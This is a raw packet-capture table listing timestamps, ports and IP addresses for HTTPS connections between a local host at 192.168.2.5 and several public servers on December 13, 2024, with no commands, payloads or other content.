Dec 13, 2024 08:35:06.309271097 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.309320927 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.309320927 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.313150883 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.313175917 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.313220978 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.313234091 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.313263893 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.313504934 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.316581011 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.316606045 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.316652060 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.316664934 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.316704035 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.316781044 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.320427895 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.320449114 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.320492029 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.320504904 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.320533991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.320919991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.421341896 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.486500025 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.486530066 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.486702919 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.486723900 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.486800909 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.489948034 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.489976883 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.490053892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.490070105 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.490122080 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.493515968 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.493537903 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.493598938 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.493613005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.493643999 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.494182110 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.497675896 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.497698069 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.497796059 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.497809887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.497864962 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.497987986 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.501053095 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.501071930 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.501142979 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.501156092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.501209021 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.505187988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.505208015 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.505300045 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.505314112 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.505362988 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.508649111 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.508672953 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.508759975 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.508773088 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.508825064 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.512748003 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.512770891 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.512847900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.512861013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.512916088 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.529305935 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.678821087 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.678847075 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.678998947 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.679011106 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.679064989 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.682154894 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.682176113 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.682234049 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.682240963 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.682291985 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.682333946 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.686115980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.686144114 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.686196089 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.686207056 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.686243057 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.686278105 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.689444065 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.689538956 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.689537048 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.689587116 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.689605951 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:35:06.689610958 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.689632893 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.689671993 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:06.728282928 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:35:09.224932909 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:09.225020885 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:09.225092888 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:09.225505114 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.225522041 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:09.225584030 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.225727081 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.225735903 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:09.225831032 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.226212978 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:09.226243019 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:09.226778984 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.226779938 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:09.226788998 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:09.226794958 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:09.229196072 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:09.229255915 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:09.229331017 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:09.229918957 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:09.229954004 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.621635914 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.622616053 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:10.622643948 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.625878096 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:10.626137018 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:10.626176119 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:10.626377106 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.626463890 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:10.627857924 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:10.627938986 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:10.628545046 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:10.628700972 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.629492998 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:10.629539967 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.629589081 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:10.629600048 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:10.629609108 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:10.629904032 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.629936934 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.630058050 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:10.630074024 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:10.633025885 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.633106947 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.633198023 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.633886099 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.633900881 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.634124041 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.634289026 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.634294987 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.635651112 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.635741949 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.636682034 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.636770010 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.636923075 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.636930943 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.675375938 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.683331966 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:10.683357954 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.683435917 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:10.683440924 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:10.683469057 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:10.731311083 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.061301947 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061333895 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061363935 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061393976 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061445951 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061441898 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.061521053 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.061558008 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.061583996 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.069495916 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.071479082 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.071620941 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.071654081 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.071723938 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.071779013 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.071832895 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.077826023 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.077873945 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.077936888 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.077971935 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.078083038 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.078255892 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.086162090 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.086601019 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.086687088 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.086728096 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.095094919 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.095180988 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.095257998 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.103499889 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.103574991 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.103605986 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.130330086 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.143872023 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.143933058 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.143975973 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.143991947 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.144006014 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.144047022 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.144053936 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.146313906 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.152290106 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.152369976 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.152390957 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.160670042 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.160718918 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.160732031 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.170466900 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.170552969 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.170629978 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.170682907 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.170788050 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.170830965 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.177329063 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.177891016 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.177932978 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.178837061 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.178914070 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.178945065 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.181082010 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.191263914 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.193862915 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.193967104 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.194046021 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.194082975 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.197122097 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.202225924 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.225337982 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.225342989 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.252337933 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.252427101 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.256441116 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.257343054 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.258738041 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.260441065 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.260495901 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.263600111 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.265978098 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.266092062 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.266124010 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.274065018 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.274128914 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.274205923 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.274208069 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.274224043 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.274343967 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.274379969 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.274382114 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.274406910 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.276784897 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.282002926 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.282047033 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.289896011 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.289941072 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.290030956 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.290044069 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.290074110 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.290107012 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.290153980 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.290262938 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.290345907 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.297724962 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.298017979 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.298130035 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.298162937 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.305345058 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.305402040 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.305509090 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.306091070 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.306183100 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.306196928 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.306236029 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.306252003 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.313390017 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.314034939 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.314120054 CET	443	49765	185.199.108.153	192.168.2.5
Dec 13, 2024 08:35:11.314135075 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.314157009 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.314156055 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.314207077 CET	49765	443	192.168.2.5	185.199.108.153
Dec 13, 2024 08:35:11.321167946 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.325659037 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.325706005 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.327661037 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.328069925 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.328090906 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.337330103 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.337387085 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.340032101 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.340079069 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.340162039 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.340184927 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.340418100 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.340460062 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.340481043 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.340492010 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.340517998 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.340595007 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.348368883 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.356564045 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.356666088 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.356751919 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.356769085 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.356837988 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.362601995 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.364852905 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.364957094 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.364993095 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.366703987 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.366756916 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.366777897 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.373311996 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.374874115 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.374970913 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.374993086 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.375045061 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.375067949 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.376140118 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.381483078 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.385122061 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.385138035 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.389725924 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.389806986 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.389832020 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.391066074 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.391113043 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.391170025 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.391206980 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.394198895 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.399220943 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.406291962 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.406351089 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.406435013 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.406452894 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.407357931 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.407419920 CET	49764	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.407527924 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.407577991 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.407610893 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.409015894 CET	49763	443	192.168.2.5	104.17.25.14
Dec 13, 2024 08:35:11.412283897 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.415707111 CET	443	49763	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.417934895 CET	49762	443	192.168.2.5	104.18.11.207
Dec 13, 2024 08:35:11.417958975 CET	443	49762	104.18.11.207	192.168.2.5
Dec 13, 2024 08:35:11.418186903 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.418252945 CET	443	49764	104.17.25.14	192.168.2.5
Dec 13, 2024 08:35:11.418350935 CET	49764	443	192.168.2.5	104.17.25.14
